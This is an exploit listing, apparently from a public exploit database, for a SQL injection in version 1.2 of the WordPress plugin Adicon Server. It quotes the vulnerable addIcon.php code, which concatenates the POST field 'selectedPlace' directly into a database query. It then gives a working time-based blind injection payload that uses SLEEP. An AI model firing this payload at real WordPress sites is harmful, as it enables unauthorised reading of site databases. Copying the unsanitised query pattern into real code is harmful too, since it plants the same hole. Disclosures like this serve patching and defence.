WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection

# Exploit Title: WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection
# Date: 2018-12-28
# Software Link: https://wordpress.org/plugins/adicons/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.2
# Category: webapps

# SQL Injection
# File: addIcon.php
# Vulnerable code:
# $placement=$_POST['selectedPlace'];

# $x=explode("_",$placement);
# $ck=$wpdb->get_row("select id from ".$table_prefix."adicons where adRow=".$x[0]." and adCol=".$x[1]);

# Example payload:
selectedPlace=1 AND (SELECT * FROM (SELECT(SLEEP(1)))abcD); -- -